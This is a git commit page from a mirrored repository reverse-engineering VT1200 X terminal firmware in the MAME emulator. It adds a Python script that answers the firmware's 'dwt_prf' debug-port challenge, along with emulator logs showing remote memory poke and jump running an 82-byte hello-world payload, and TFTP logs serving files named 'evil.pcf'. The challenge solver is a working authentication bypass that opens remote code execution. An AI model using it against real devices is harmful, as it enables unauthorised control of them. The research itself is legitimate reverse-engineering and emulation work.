mirror of
https://git.k-space.ee/arti/vt1200.git
synced 2026-10-30 12:03:54 +02:00
dwt: reverse the dwt_prf challenge; remote poke/jump now works
The firmware transforms the reply (16-round Feistel per 8-byte record) and compares it with the host-order copy of the challenge, so the answer is swap4(inverse_transform(swap4(challenge))). The font stages are memcpy in this path because dwt_prf initialises only mode 1. challenge.py implements the transform and its inverse using the firmware's fixed key/SP table; solve.py answers the challenge over TCP using the unmodified exploit client. 320 forward vectors, the firmware's own inverse and three live sessions validate it. A live run with no breakpoints poked the 82-byte hello-world payload and ran it: MAGIC DEAD/BEEF/0400, VRAM 1024/1024. Notes and evidence under dwt/notes and dwt/evidence.
This commit is contained in:
1 parent
041c82cb73
commit
1e5c095b72
22 files changed
+1351
No files matched your search
@@ -0,0 +1,225 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Answer the VT1200 ``dwt_prf`` TCP challenge (port 771) offline.
|
||||
|
||||
The firmware sends 16 bytes with message flag 0x7F, reads 16 bytes back, and
|
||||
compares them. It does **not** compare our reply with the challenge directly:
|
||||
|
||||
recv(session, frame+0x10, 16) ; our reply
|
||||
ntohl() each of the four words ; +0x10..+0x1f becomes swap4(reply)
|
||||
transform(frame+0x10, 16) ; 0x3F5A09C0, in place
|
||||
memcmp(frame+0x20, frame+0x10, 16) ; frame+0x20 = host copy of challenge
|
||||
|
||||
so the reply the host must send is ``swap4(inverse_T(swap4(challenge)))``.
|
||||
``transform`` is a bijection: a 16-round Feistel over each independent 8-byte
|
||||
record, so the inverse exists and is the same round function run backwards.
|
||||
(The firmware itself contains the inverse at 0x3F5AADA0; its output matched
|
||||
this module on every test vector.)
|
||||
|
||||
Evidence and disassembly: dwt/notes/CHALLENGE_REVERSE.md.
|
||||
Pure stdlib; key and SP table are the firmware's own fixed values, captured
|
||||
from the firmware's initialiser (they are identical on every boot and on a
|
||||
live challenge - see the note).
|
||||
|
||||
python3 dwt/challenge.py --challenge f32cec8d0000ead00263a8c0f324ec8e
|
||||
python3 dwt/challenge.py --selftest
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
# --- Firmware constants ---------------------------------------------------
|
||||
# 8 round keys of 8 bytes used by the 16-round Feistel (key[15] first) and the
|
||||
# 8 x 64-entry SP tables (256 bytes each), both produced by the firmware's own
|
||||
# initialiser 0x3F5A9620(1) + 0x3F5AA2C0(0x1BE810). They are load-independent:
|
||||
# two fresh-NVRAM boots and a live TCP challenge gave identical bytes.
|
||||
KEY = bytes.fromhex("2C3E1F020130080D2D23281F080019120B333920171A00063227333C09041308370E1D18020B0107112D3C2B292C12203A3B250702003D030A1E3B0B272C00103B110B1C2010212E052D2B2C11092A10262725320410113D2B063D2D0239220030371C0D0006143512193F310A302204351F232B3004061323082E3E2D1A2400")
|
||||
SP = bytes.fromhex("0082800000000000008000000282800002808000028200000200000000800000000200000082800002828000000200000202800002808000000080000200000002020000000280000002800000820000008200000080800000808000020280000280000002008000020080000280000000000000020200000282000000008000008000000282800002000000008080000082800000008000000080000002000002808000008000000082000002008000000200000200000002028000028200000282800002800000008080000202800002008000020200000282000000828000020200000002800000028000000000000280000000820000000000000280800010400840004000400040000010400800000008001000000010000840104000401000004010400840004008400000004000400040000008001000000010000840004008001000080010400040000000000000004000400000104008000000084010000800100000400000000000400800104000000040084000000840104000000000000010400800100008400000080010400040000008400040084000400000000008400040004010000000104008401040080010000000004000000000004010400000004008400000080010000040100008001040004010000040100008000040080000000000004000401040000000000040100008401040084000400800040100000001010400000000040001040001000400000000040101000001000404000100040000040400000400000100040101040400010000000104040100000000000404000000000101040001000000010100000001040400010404010100040100040001010000000100040100040400000004010104000100000000000400010104000000040400010004010000000001000001010400010004000000000001000004000100040101040001000404000004000100000000000004000104040100040000010000000004040101040400000004010100000101000400000400000104040100040401000000000104040101000400000004000104000101000010408040100080401000804000000040104000400040800000408000100080000000000010400000104000401040804000008000000000400040000000408000000080001000000000400000104080400000000000400000100080401000004000408000000080401000004000400000100000401040004010408040000080400040000000408000104000401040804000008000000000000000000010400040100000400040004000408000000080001040804010008040100080400000004010408040000080000000800010000000004080001000804010400040004080001000804010000000004000001040804000000000004000001000004010400080000000800004010000040180000021000004008000000000000020000004018000042000000400800000018000042080000021000004218000040000000020000000010000042000000420000000008000002080000421800004218000000100000421800000200000000000000021800004010000000100000021800004000000040080000021800000000000000100000020000004018000002180000420800000010000002000000421800004018000042080000000000000010000042180000421800004000000002180000421000004010000000000000420000000218000040080000001800000200000040000000000000004208000040180000020080000100000201000200000082020100000201008000000082020100000200000200010082020000000200008000010080020000020001000000010082000000000000008002000082000100020000000202000082000100800000008002010080020100000000008202000002020100820000000202000002020100000001000200010080000000800201000202000082020100000200008200000080000100000200000200010000000100820000008000010082020100020200000002010082020000020201000000000080020100800000000200000000020100820200000200000080020000820001000000000002020100000001008002000082000100000100001001002010400020000000000040000010400020104100000041002010410020000100000000000010000020100000000000002010010020104000000040002010410000100100000040002010000020000100200041002010010000000100200040000010400000104100200041000010000000000000200041000000000020004100000001000010400020104000201001002010010020100000001001000000000020004000200001000000410020104000001041000000410020104000001000002010410020000100200041000000000000100000001041002000000000104100000001002000400000100000200040002000400000100100020080008000800000000020020080208000000082008000820000000000000082000020000000208200802080008020000080208200802000008000020000000000002082000000800080008200800000008020020000200200002080008020820080000000000000000000020000208200000080008000820080200000002002008020000000200000802080008000020000000200002080008000020080200000800082000000020000008000002082000020800000008000002002008000800000000200802082000020020000008000002080008000820080008000000002008020800080200000802002008000020080000200002000000000800080208")
|
||||
|
||||
assert len(KEY) == 128 and len(SP) == 8 * 256
|
||||
|
||||
|
||||
def _round(x: int, k: bytes) -> int:
|
||||
"""F(x, k): the firmware's round function 0x3F5ACEC0 (Ghidra 0x07EB59D8).
|
||||
|
||||
Eight 6-bit table indices formed from the 32-bit input and the 8-byte round
|
||||
key; each selects a 32-bit word from its own 64-entry table; the eight words
|
||||
are OR'd together. Indices, from the disassembly (a2 = rol32(x, 1)):
|
||||
|
||||
i0 = key[7] ^ rol1(x) i4 = key[3] ^ (x >> 15)
|
||||
i1 = key[6] ^ (x >> 3) i5 = key[2] ^ (x >> 19)
|
||||
i2 = key[5] ^ (x >> 7) i6 = key[1] ^ (x >> 23)
|
||||
i3 = key[4] ^ (x >> 11) i7 = key[0] ^ (x >> 27 | (x & 1) << 5)
|
||||
|
||||
Table i8-i uses SP[(7-i)*256 + index*4 .. +4] (little-endian 32-bit word).
|
||||
"""
|
||||
x &= 0xFFFFFFFF
|
||||
a2 = ((x << 1) | (x >> 31)) & 0xFFFFFFFF
|
||||
idx = (
|
||||
(k[7] ^ a2) & 0x3F,
|
||||
(k[6] ^ (x >> 3)) & 0x3F,
|
||||
(k[5] ^ (x >> 7)) & 0x3F,
|
||||
(k[4] ^ (x >> 11)) & 0x3F,
|
||||
(k[3] ^ (x >> 15)) & 0x3F,
|
||||
(k[2] ^ (x >> 19)) & 0x3F,
|
||||
(k[1] ^ (x >> 23)) & 0x3F,
|
||||
(k[0] ^ ((x >> 27) | ((x & 1) << 5))) & 0x3F,
|
||||
)
|
||||
out = 0
|
||||
for i, ix in enumerate(idx):
|
||||
o = (7 - i) * 0x100 + ix * 4
|
||||
out |= int.from_bytes(SP[o:o + 4], "little")
|
||||
return out
|
||||
|
||||
|
||||
def _forward_record(rec: bytes) -> bytes:
|
||||
"""One 8-byte record: 0x3F5ABA40 (Ghidra 0x07EB5748).
|
||||
|
||||
The two 32-bit halves are read as big-endian values (the firmware's
|
||||
``bswap`` helper 0x3F5AE670 after a little-endian load), then 16 Feistel
|
||||
rounds run with keys key[15], key[14], ..., key[0]:
|
||||
|
||||
round 0: L ^= F(R, k15) round 1: R ^= F(L, k14) ...
|
||||
|
||||
The result is written back big-endian as (R_final, L_final), because the
|
||||
firmware stores the a9 half first.
|
||||
"""
|
||||
if len(rec) != 8:
|
||||
raise ValueError("record must be 8 bytes")
|
||||
left = int.from_bytes(rec[0:4], "big")
|
||||
right = int.from_bytes(rec[4:8], "big")
|
||||
for n in range(16):
|
||||
k = KEY[(15 - n) * 8:(16 - n) * 8]
|
||||
if n % 2 == 0:
|
||||
left ^= _round(right, k)
|
||||
else:
|
||||
right ^= _round(left, k)
|
||||
return right.to_bytes(4, "big") + left.to_bytes(4, "big")
|
||||
|
||||
|
||||
def _inverse_record(rec: bytes) -> bytes:
|
||||
"""Inverse of _forward_record; matches firmware 0x3F5AADA0 exactly."""
|
||||
if len(rec) != 8:
|
||||
raise ValueError("record must be 8 bytes")
|
||||
left = int.from_bytes(rec[4:8], "big")
|
||||
right = int.from_bytes(rec[0:4], "big")
|
||||
for n in range(15, -1, -1):
|
||||
k = KEY[(15 - n) * 8:(16 - n) * 8]
|
||||
if n % 2 == 0:
|
||||
left ^= _round(right, k)
|
||||
else:
|
||||
right ^= _round(left, k)
|
||||
return left.to_bytes(4, "big") + right.to_bytes(4, "big")
|
||||
|
||||
|
||||
def transform(data: bytes) -> bytes:
|
||||
"""Apply the firmware transform to a 16-byte memory buffer (in place there).
|
||||
|
||||
Records are independent: bytes 0..7 and 8..15 are transformed separately.
|
||||
"""
|
||||
if len(data) != 16:
|
||||
raise ValueError("transform takes exactly 16 bytes")
|
||||
return _forward_record(data[0:8]) + _forward_record(data[8:16])
|
||||
|
||||
|
||||
def invert(data: bytes) -> bytes:
|
||||
"""Inverse of transform() on a 16-byte buffer."""
|
||||
if len(data) != 16:
|
||||
raise ValueError("invert takes exactly 16 bytes")
|
||||
return _inverse_record(data[0:8]) + _inverse_record(data[8:16])
|
||||
|
||||
|
||||
def swap4(data: bytes) -> bytes:
|
||||
"""Reverse the bytes of each 32-bit word (the firmware's ntohl on LE)."""
|
||||
if len(data) % 4:
|
||||
raise ValueError("length must be a multiple of 4")
|
||||
return b"".join(data[i:i + 4][::-1] for i in range(0, len(data), 4))
|
||||
|
||||
|
||||
def respond(challenge: bytes) -> bytes:
|
||||
"""Return the 16 bytes to put on the wire for ``challenge`` (wire order).
|
||||
|
||||
The firmware compares ``transform(swap4(reply))`` with ``swap4(challenge)``,
|
||||
so the required reply is ``swap4(invert(swap4(challenge)))``.
|
||||
"""
|
||||
if len(challenge) != 16:
|
||||
raise ValueError("challenge is 16 bytes")
|
||||
return swap4(invert(swap4(challenge)))
|
||||
|
||||
|
||||
def check_reply(challenge: bytes, reply: bytes) -> bool:
|
||||
"""Emulate the firmware side: True iff this reply passes the challenge."""
|
||||
return transform(swap4(reply)) == swap4(challenge)
|
||||
|
||||
|
||||
# Known answers: (16-byte input to transform, 16-byte output), produced by
|
||||
# calling 0x3F5A09C0 itself in MAME. See dwt/evidence/oracle-*.log.
|
||||
_KATS = (
|
||||
("00" * 16, "90DE09B472855817" "90DE09B472855817"),
|
||||
("FF" * 16, "6A81040BF2294479" "6A81040BF2294479"),
|
||||
)
|
||||
|
||||
|
||||
def selftest() -> int:
|
||||
for inp, want in _KATS:
|
||||
got = transform(bytes.fromhex(inp)).hex().upper()
|
||||
if got != want:
|
||||
print(f"FAIL transform({inp}) = {got}, want {want}")
|
||||
return 1
|
||||
back = invert(bytes.fromhex(want)).hex().upper()
|
||||
if back != inp:
|
||||
print(f"FAIL invert({want}) = {back}, want {inp}")
|
||||
return 1
|
||||
# round-trip on a spread of values
|
||||
for v in range(256):
|
||||
rec = v.to_bytes(4, "big") * 2
|
||||
if _inverse_record(_forward_record(rec)) != rec:
|
||||
print(f"FAIL round-trip {v}")
|
||||
return 1
|
||||
# a random challenge: the reply must satisfy the firmware's comparison
|
||||
import os
|
||||
for _ in range(1000):
|
||||
c = os.urandom(16)
|
||||
if not check_reply(c, respond(c)):
|
||||
print("FAIL respond/check_reply")
|
||||
return 1
|
||||
print("selftest OK: KATs, 256 round-trips, 1000 challenge/reply pairs")
|
||||
return 0
|
||||
|
||||
|
||||
def main(argv=None) -> int:
|
||||
ap = argparse.ArgumentParser(description="VT1200 dwt_prf challenge helper")
|
||||
g = ap.add_mutually_exclusive_group()
|
||||
g.add_argument("--challenge", metavar="HEX",
|
||||
help="16-byte wire challenge; prints the reply to send")
|
||||
g.add_argument("--transform", metavar="HEX", help="forward transform of 16 bytes")
|
||||
g.add_argument("--invert", metavar="HEX", help="inverse transform of 16 bytes")
|
||||
g.add_argument("--check", nargs=2, metavar=("CHALLENGE", "REPLY"),
|
||||
help="emulate the firmware comparison")
|
||||
g.add_argument("--selftest", action="store_true")
|
||||
a = ap.parse_args(argv)
|
||||
if a.selftest:
|
||||
return selftest()
|
||||
if not any((a.challenge, a.transform, a.invert, a.check)):
|
||||
ap.print_help()
|
||||
return 2
|
||||
try:
|
||||
if a.challenge:
|
||||
print(respond(bytes.fromhex(a.challenge)).hex())
|
||||
elif a.transform:
|
||||
print(transform(bytes.fromhex(a.transform)).hex())
|
||||
elif a.invert:
|
||||
print(invert(bytes.fromhex(a.invert)).hex())
|
||||
elif a.check:
|
||||
ok = check_reply(bytes.fromhex(a.check[0]), bytes.fromhex(a.check[1]))
|
||||
print("PASS" if ok else "FAIL")
|
||||
return 0 if ok else 1
|
||||
except ValueError as e:
|
||||
print(f"error: {e}", file=sys.stderr)
|
||||
return 2
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -0,0 +1,17 @@
|
||||
Validation of dwt/challenge.py against emulator ground truth
|
||||
================================================================
|
||||
dwt/evidence/oracle-forward-boot1.log: 70/70 16-byte vectors (each = 2 independent records)
|
||||
dwt/evidence/oracle-forward-boot2.log: 70/70 16-byte vectors (each = 2 independent records)
|
||||
fresh-boot key identical: True; SP table identical: True
|
||||
key[0:16] = 2C3E1F020130080D2D23281F08001912
|
||||
|
||||
dwt/challenge_vectors.json: 180/180 vectors
|
||||
|
||||
firmware inverse function 0x3F5AADA0 vs challenge.invert(): 6/6
|
||||
|
||||
live TCP challenges answered with computed bytes (dwt/evidence/live-run*/):
|
||||
run 1 connection 1: memcmp a8=00000000, opcode 7 -> Done, peek ROM ok
|
||||
run 1 connection 2: memcmp a8=00000000, poke+jump, MAGIC DEAD/BEEF/0400, VRAM 1024/1024
|
||||
run 2 (no breakpoints at all): opcode 7 + peek + poke + jump, markers identical
|
||||
|
||||
TOTAL forward vectors matched: 140 (oracle) + 180 (json) = 320
|
||||
@@ -0,0 +1,14 @@
|
||||
<?xml version="1.0"?>
|
||||
<!-- This file is autogenerated; comments and unknown tags will be stripped -->
|
||||
<mameconfig version="10">
|
||||
<system name="default">
|
||||
<mixer>
|
||||
<audio_effects>
|
||||
<effect step="1" type="Filters" />
|
||||
<effect step="2" type="Compressor" />
|
||||
<effect step="3" type="Reverb" />
|
||||
<effect step="4" type="Equalizer" />
|
||||
</audio_effects>
|
||||
</mixer>
|
||||
</system>
|
||||
</mameconfig>
|
||||
@@ -0,0 +1,12 @@
|
||||
<?xml version="1.0"?>
|
||||
<!-- This file is autogenerated; comments and unknown tags will be stripped -->
|
||||
<mameconfig version="10">
|
||||
<system name="vt1200">
|
||||
<input>
|
||||
<keyboard tag=":lk401" enabled="1" />
|
||||
</input>
|
||||
<network>
|
||||
<device tag=":lance" interface="0" mac="08:00:2b:16:4b:5a" />
|
||||
</network>
|
||||
</system>
|
||||
</mameconfig>
|
||||
@@ -0,0 +1,25 @@
|
||||
MAME debugger version 0.289 (mame0289-dirty)
|
||||
Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware))
|
||||
Breakpoint 1 set
|
||||
Breakpoint 2 set
|
||||
Breakpoint 3 set
|
||||
Breakpoint 4 set
|
||||
Breakpoint 5 set
|
||||
Breakpoint 6 set
|
||||
Breakpoint 7 set
|
||||
Breakpoint 8 set
|
||||
Breakpoint 9 set
|
||||
LIVE2 accept_debug_conn entry pc=3F58AD60
|
||||
|
||||
LIVE2 dispatcher entry pc=3F59F320
|
||||
|
||||
LIVE2 dwt_prf challenge entry pc=3F59FDC0
|
||||
|
||||
LIVE2 challenge sent a13=007AE7B0 wire=3DB79CF3.8EB50000.C0A86302.3EB794F3 host=F39CB73D.0000B58E.0263A8C0.F394B73E
|
||||
|
||||
LIVE2 pre-transform reply=71C08104.AF81012D.BE5884F7.634E8818
|
||||
|
||||
LIVE2 memcmp-args expecting=F39CB73D.0000B58E.0263A8C0.F394B73E got=F39CB73D.0000B58E.0263A8C0.F394B73E
|
||||
|
||||
LIVE2 challenge memcmp a8=00000000 (0=equal)
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
MAME debugger version 0.289 (mame0289-dirty)
|
||||
Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware))
|
||||
Breakpoint 1 set
|
||||
Breakpoint 2 set
|
||||
Breakpoint 3 set
|
||||
Breakpoint 4 set
|
||||
Breakpoint 5 set
|
||||
Breakpoint 6 set
|
||||
Breakpoint 7 set
|
||||
Breakpoint 8 set
|
||||
Breakpoint 9 set
|
||||
LIVE2 accept_debug_conn entry pc=3F58AD60
|
||||
|
||||
LIVE2 dispatcher entry pc=3F59F320
|
||||
|
||||
LIVE2 dwt_prf challenge entry pc=3F59FDC0
|
||||
|
||||
LIVE2 challenge sent a13=007AE7B0 wire=3DB79CF3.8EB50000.C0A86302.3EB794F3 host=F39CB73D.0000B58E.0263A8C0.F394B73E
|
||||
|
||||
LIVE2 pre-transform reply=71C08104.AF81012D.BE5884F7.634E8818
|
||||
|
||||
LIVE2 memcmp-args expecting=F39CB73D.0000B58E.0263A8C0.F394B73E got=F39CB73D.0000B58E.0263A8C0.F394B73E
|
||||
|
||||
LIVE2 challenge memcmp a8=00000000 (0=equal)
|
||||
|
||||
LIVE2 accept_debug_conn entry pc=3F58AD60
|
||||
|
||||
LIVE2 dispatcher entry pc=3F59F320
|
||||
|
||||
LIVE2 dwt_prf challenge entry pc=3F59FDC0
|
||||
|
||||
LIVE2 challenge sent a13=007AE7B0 wire=ECB9DDEA.25B70100.C0A86302.EDB9D5EA host=EADDB9EC.0001B725.0263A8C0.EAD5B9ED
|
||||
|
||||
LIVE2 pre-transform reply=B5DE07BF.872DCB1A.323728E1.8B9B13E4
|
||||
|
||||
LIVE2 memcmp-args expecting=EADDB9EC.0001B725.0263A8C0.EAD5B9ED got=EADDB9EC.0001B725.0263A8C0.EAD5B9ED
|
||||
|
||||
LIVE2 challenge memcmp a8=00000000 (0=equal)
|
||||
|
||||
LIVE2 rdebug_poke entry pc=3F5A1B50
|
||||
|
||||
LIVE2 rdebug_jump entry pc=3F5A3890
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
Warning: -video none doesn't make much sense without -seconds_to_run
|
||||
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
|
||||
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
|
||||
vt1200: scanline#1 line=1 enabled=1
|
||||
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
|
||||
LIVE2 armed read-only breakpoints
|
||||
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
|
||||
vt1200: scanline#2 line=0 enabled=1
|
||||
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
|
||||
vt1200: scanline#3 line=1 enabled=1
|
||||
vt1200: scanline#4 line=2 enabled=1
|
||||
LIVE2 frame 500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE2 frame 1000 word@0xAECD0=8070 field2..3=0
|
||||
LIVE2 frame 1500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE2 frame 2000 word@0xAECD0=8070 field2..3=0
|
||||
LIVE2 frame 2500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE2 frame 3000 word@0xAECD0=8070 field2..3=0
|
||||
LIVE2 frame 3500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE2 frame 4000 word@0xAECD0=8070 field2..3=0
|
||||
LIVE2 frame 4500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE2 frame 5000 word@0xAECD0=8070 field2..3=0
|
||||
LIVE2 frame 5500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE2 frame 6000 word@0xAECD0=8070 field2..3=0
|
||||
LIVE2 frame 6500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE2 payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400
|
||||
LIVE2 payload-ran: VRAM block 1024/1024 words FFFF, 0 holes
|
||||
LIVE2 exiting at frame 6840 (payload seen at 6720)
|
||||
Average speed: 280.89% (94 seconds)
|
||||
@@ -0,0 +1,4 @@
|
||||
serving 29 names on ('192.168.99.1', 69)
|
||||
names: 69, 69/baseline.pcf, 69/evil.pcf, 69/fonts.dir, 69/v1200a.pcf, ROM, X11/baseline.pcf, X11/evil.pcf, X11/fonts.dir, X11/v1200a.pcf, baseline.pcf, evil.pcf, font, font/baseline.pcf, font/evil.pcf, font/fonts.dir, font/v1200a.pcf, fonts, fonts.dir, fonts/baseline.pcf, fonts/evil.pcf, fonts/fonts.dir, fonts/v1200a.pcf, misc/baseline.pcf, misc/evil.pcf, misc/fonts.dir, misc/v1200a.pcf, real.pcf, rom
|
||||
bootp: L2 responder on tap-mess-1000-0: handing out 192.168.99.2, siaddr 192.168.99.1 (src mac c6:fc:cc:16:f5:66)
|
||||
bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
|
||||
@@ -0,0 +1,14 @@
|
||||
<?xml version="1.0"?>
|
||||
<!-- This file is autogenerated; comments and unknown tags will be stripped -->
|
||||
<mameconfig version="10">
|
||||
<system name="default">
|
||||
<mixer>
|
||||
<audio_effects>
|
||||
<effect step="1" type="Filters" />
|
||||
<effect step="2" type="Compressor" />
|
||||
<effect step="3" type="Reverb" />
|
||||
<effect step="4" type="Equalizer" />
|
||||
</audio_effects>
|
||||
</mixer>
|
||||
</system>
|
||||
</mameconfig>
|
||||
@@ -0,0 +1,12 @@
|
||||
<?xml version="1.0"?>
|
||||
<!-- This file is autogenerated; comments and unknown tags will be stripped -->
|
||||
<mameconfig version="10">
|
||||
<system name="vt1200">
|
||||
<input>
|
||||
<keyboard tag=":lk401" enabled="1" />
|
||||
</input>
|
||||
<network>
|
||||
<device tag=":lance" interface="0" mac="08:00:2b:16:4b:5a" />
|
||||
</network>
|
||||
</system>
|
||||
</mameconfig>
|
||||
@@ -0,0 +1,7 @@
|
||||
[+] challenge f7 b4 6c 6b 00 00 6b 3f 02 63 a8 c0 f7 ac 6c 6c
|
||||
[+] reply 49 0a ad 58 f1 ea b2 5a 3d fe f0 ee 92 6b 0a 20
|
||||
[+] reply satisfies firmware comparison: True
|
||||
opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00')
|
||||
peek 0x3f200000 (8) -> e9 7a e2 f5 aa aa 55 55
|
||||
poke-file harness/hello-world/payload.bin: 82 bytes at 0x01800000: ok
|
||||
jump 0x01800000: sent
|
||||
@@ -0,0 +1,17 @@
|
||||
Warning: -video none doesn't make much sense without -seconds_to_run
|
||||
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
|
||||
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
|
||||
vt1200: scanline#1 line=1 enabled=1
|
||||
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
|
||||
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
|
||||
vt1200: scanline#2 line=0 enabled=1
|
||||
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
|
||||
vt1200: scanline#3 line=1 enabled=1
|
||||
vt1200: scanline#4 line=2 enabled=1
|
||||
CHECK frame 500 MAGIC1=5555 MAGIC2=5555 COUNT=5555
|
||||
CHECK frame 1000 MAGIC1=5555 MAGIC2=5555 COUNT=5555
|
||||
CHECK frame 1500 MAGIC1=5555 MAGIC2=5555 COUNT=5555
|
||||
CHECK payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400
|
||||
CHECK payload-ran: VRAM block 1024/1024 words FFFF, 0 holes
|
||||
CHECK exiting at frame 1850 (payload seen at 1730)
|
||||
Average speed: 328.16% (25 seconds)
|
||||
@@ -0,0 +1,4 @@
|
||||
serving 29 names on ('192.168.99.1', 69)
|
||||
names: 69, 69/baseline.pcf, 69/evil.pcf, 69/fonts.dir, 69/v1200a.pcf, ROM, X11/baseline.pcf, X11/evil.pcf, X11/fonts.dir, X11/v1200a.pcf, baseline.pcf, evil.pcf, font, font/baseline.pcf, font/evil.pcf, font/fonts.dir, font/v1200a.pcf, fonts, fonts.dir, fonts/baseline.pcf, fonts/evil.pcf, fonts/fonts.dir, fonts/v1200a.pcf, misc/baseline.pcf, misc/evil.pcf, misc/fonts.dir, misc/v1200a.pcf, real.pcf, rom
|
||||
bootp: L2 responder on tap-mess-1000-0: handing out 192.168.99.2, siaddr 192.168.99.1 (src mac c6:fc:cc:16:f5:66)
|
||||
bootp: request from 08:00:2b:16:4b:5a xid=ee2284e6 -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
|
||||
@@ -0,0 +1,91 @@
|
||||
Warning: -video none doesn't make much sense without -seconds_to_run
|
||||
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
|
||||
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
|
||||
vt1200: scanline#1 line=1 enabled=1
|
||||
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
|
||||
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
|
||||
vt1200: scanline#2 line=0 enabled=1
|
||||
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
|
||||
vt1200: scanline#3 line=1 enabled=1
|
||||
vt1200: scanline#4 line=2 enabled=1
|
||||
ORACLE start frame=1000 p200=00000000 p400=00000000
|
||||
ORACLE init done @1C0200=0090C8D0 @1C0220=00000000 @1C0240=00000000 @1C0260=00910910 @1C0400=00000001
|
||||
ORACLE KP=00910910 FP=0090C8D0
|
||||
ORACLE KEY 2C3E1F020130080D2D23281F080019120B333920171A00063227333C09041308370E1D18020B0107112D3C2B292C12203A3B250702003D030A1E3B0B272C00103B110B1C2010212E052D2B2C11092A10262725320410113D2B063D2D0239220030371C0D0006143512193F310A302204351F232B3004061323082E3E2D1A2400
|
||||
ORACLE FTAB 0082800000000000008000000282800002808000028200000200000000800000000200000082800002828000000200000202800002808000000080000200000002020000000280000002800000820000008200000080800000808000020280000280000002008000020080000280000000000000020200000282000000008000008000000282800002000000008080000082800000008000000080000002000002808000008000000082000002008000000200000200000002028000028200000282800002800000008080000202800002008000020200000282000000828000020200000002800000028000000000000280000000820000000000000280800010400840004000400040000010400800000008001000000010000840104000401000004010400840004008400000004000400040000008001000000010000840004008001000080010400040000000000000004000400000104008000000084010000800100000400000000000400800104000000040084000000840104000000000000010400800100008400000080010400040000008400040084000400000000008400040004010000000104008401040080010000000004000000000004010400000004008400000080010000040100008001040004010000040100008000040080000000000004000401040000000000040100008401040084000400800040100000001010400000000040001040001000400000000040101000001000404000100040000040400000400000100040101040400010000000104040100000000000404000000000101040001000000010100000001040400010404010100040100040001010000000100040100040400000004010104000100000000000400010104000000040400010004010000000001000001010400010004000000000001000004000100040101040001000404000004000100000000000004000104040100040000010000000004040101040400000004010100000101000400000400000104040100040401000000000104040101000400000004000104000101000010408040100080401000804000000040104000400040800000408000100080000000000010400000104000401040804000008000000000400040000000408000000080001000000000400000104080400000000000400000100080401000004000408000000080401000004000400000100000401040004010408040000080400040000000408000104000401040804000008000000000000000000010400040100000400040004000408000000080001040804010008040100080400000004010408040000080000000800010000000004080001000804010400040004080001000804010000000004000001040804000000000004000001000004010400080000000800004010000040180000021000004008000000000000020000004018000042000000400800000018000042080000021000004218000040000000020000000010000042000000420000000008000002080000421800004218000000100000421800000200000000000000021800004010000000100000021800004000000040080000021800000000000000100000020000004018000002180000420800000010000002000000421800004018000042080000000000000010000042180000421800004000000002180000421000004010000000000000420000000218000040080000001800000200000040000000000000004208000040180000020080000100000201000200000082020100000201008000000082020100000200000200010082020000000200008000010080020000020001000000010082000000000000008002000082000100020000000202000082000100800000008002010080020100000000008202000002020100820000000202000002020100000001000200010080000000800201000202000082020100000200008200000080000100000200000200010000000100820000008000010082020100020200000002010082020000020201000000000080020100800000000200000000020100820200000200000080020000820001000000000002020100000001008002000082000100000100001001002010400020000000000040000010400020104100000041002010410020000100000000000010000020100000000000002010010020104000000040002010410000100100000040002010000020000100200041002010010000000100200040000010400000104100200041000010000000000000200041000000000020004100000001000010400020104000201001002010010020100000001001000000000020004000200001000000410020104000001041000000410020104000001000002010410020000100200041000000000000100000001041002000000000104100000001002000400000100000200040002000400000100100020080008000800000000020020080208000000082008000820000000000000082000020000000208200802080008020000080208200802000008000020000000000002082000000800080008200800000008020020000200200002080008020820080000000000000000000020000208200000080008000820080200000002002008020000000200000802080008000020000000200002080008000020080200000800082000000020000008000002082000020800000008000002002008000800000000200802082000020020000008000002080008000820080008000000002008020800080200000802002008000020080000200002000000000800080208
|
||||
ORACLE SEED 55F861C7E51311D4C800000000000000000000000000000000000000000000000000000000003A322A221A120A023C342C241C140C043E362E261E160E06403830282018100839312921191109013B332B231B130B033D352D251D150D053F372F271F170F07280830103818402027072F0F37173F1F26062E0E36163E1E2505
|
||||
ORACLE R1 39312921191109013A322A221A120A023B332B231B130B033C342C243F372F271F170F073E362E261E160E063D352D251D150D051C140C04
|
||||
ORACLE R2 01020406080A0C0E0F11131517191B1C0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D
|
||||
